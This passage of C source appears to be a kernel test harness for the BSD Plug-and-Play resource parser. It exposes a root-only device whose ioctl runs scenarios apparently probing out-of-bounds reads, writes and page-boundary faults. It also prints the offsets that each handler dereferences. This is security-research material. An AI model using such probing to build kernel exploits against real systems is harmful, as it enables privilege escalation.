		    r->o_pass ? "PASS" : "FAIL");
		for (i = 0; i < 5; i++) {
			r->o_field[i] = ((uint32_t *)cfg)[i];
			r->o_expect[i] = 0;
		}
	}
	/* intentional rig leak of page 1 (freed tail is unmapped) */
	return (0);
}

/* ------------------------------------------------------------------ */
/* layout + control device                                             */
/* ------------------------------------------------------------------ */
static int
pnph_ioctl(struct dev_ioctl_args *ap);
static int
pnph_open(struct dev_open_args *ap);

static int
pnph_open(struct dev_open_args *ap)
{
	return (0);
}

static int
pnph_ioctl(struct dev_ioctl_args *ap)
{
	struct pnph_req r;
	int rc = 0;

	bcopy(ap->a_data, &r, sizeof(r));
	switch (r.scenario) {
	case PNPH_SC_LAYOUT:
		kprintf("PNPH layout: sizeof(isa_config)=%zu "
		    "ic_mem=%zu ic_port=%zu ic_irqmask=%zu ic_drqmask=%zu "
		    "ic_nmem=%zu\n", sizeof(struct isa_config),
		    offsetof(struct isa_config, ic_mem),
		    offsetof(struct isa_config, ic_port),
		    offsetof(struct isa_config, ic_irqmask),
		    offsetof(struct isa_config, ic_drqmask),
		    offsetof(struct isa_config, ic_nmem));
		kprintf("PNPH layout: fixed-offset handlers (tag, bytes "
		    "dereferenced): COMPAT 4 @0, IRQ 2 @0, DMA 1 @0, "
		    "IO_RANGE 7 @1..6, IO_FIXED 3 @0..2, MEM_RANGE 9 @1..8, "
		    "MEM32_RANGE 17 @1..16, MEM32_FIXED 9 @1..8\n");
		break;
	case PNPH_SC_SWEEP:
		rc = run_sweep(&r);
		break;
	case PNPH_SC_CANRD:
		rc = run_canrd(&r);
		break;
	case PNPH_SC_CANWR:
		rc = run_canwr(&r);
		break;
	case PNPH_SC_E2E:
		rc = run_e2e(&r, (int)r.arg);
		break;
	case PNPH_SC_WELL:
		rc = run_well(&r);
		break;
	case PNPH_SC_PGCTL:
		rc = run_pagebound(&r, 0);
		break;
	case PNPH_SC_PGFLT:
		rc = run_pagebound(&r, 1);
		break;
	default:
		rc = EINVAL;
		break;
	}
	r.o_rc = (uint32_t)rc;
	bcopy(&r, ap->a_data, sizeof(r));
	return (rc);
}

static struct dev_ops pnph_ops = {
	{ "pnph", 0, D_MEM },
	.d_open =	pnph_open,
	.d_ioctl =	pnph_ioctl,
};

static void
pnph_init(void *dummy)
{
	devclass_t dc;

	dc = devclass_find("isa");
	if (dc)
		pnph_isa = devclass_get_device(dc, 0);
	make_dev(&pnph_ops, 0, UID_ROOT, GID_WHEEL, 0600, "pnph0");
	kprintf("PNPHARNESS-READY-2316: pnpparse.c verbatim (TU-compiled) "
	    "isa0=%p /dev/pnph0\n", pnph_isa);
}
SYSINIT(pnp_harness, SI_SUB_PSEUDO, SI_ORDER_MIDDLE, pnph_init, NULL);
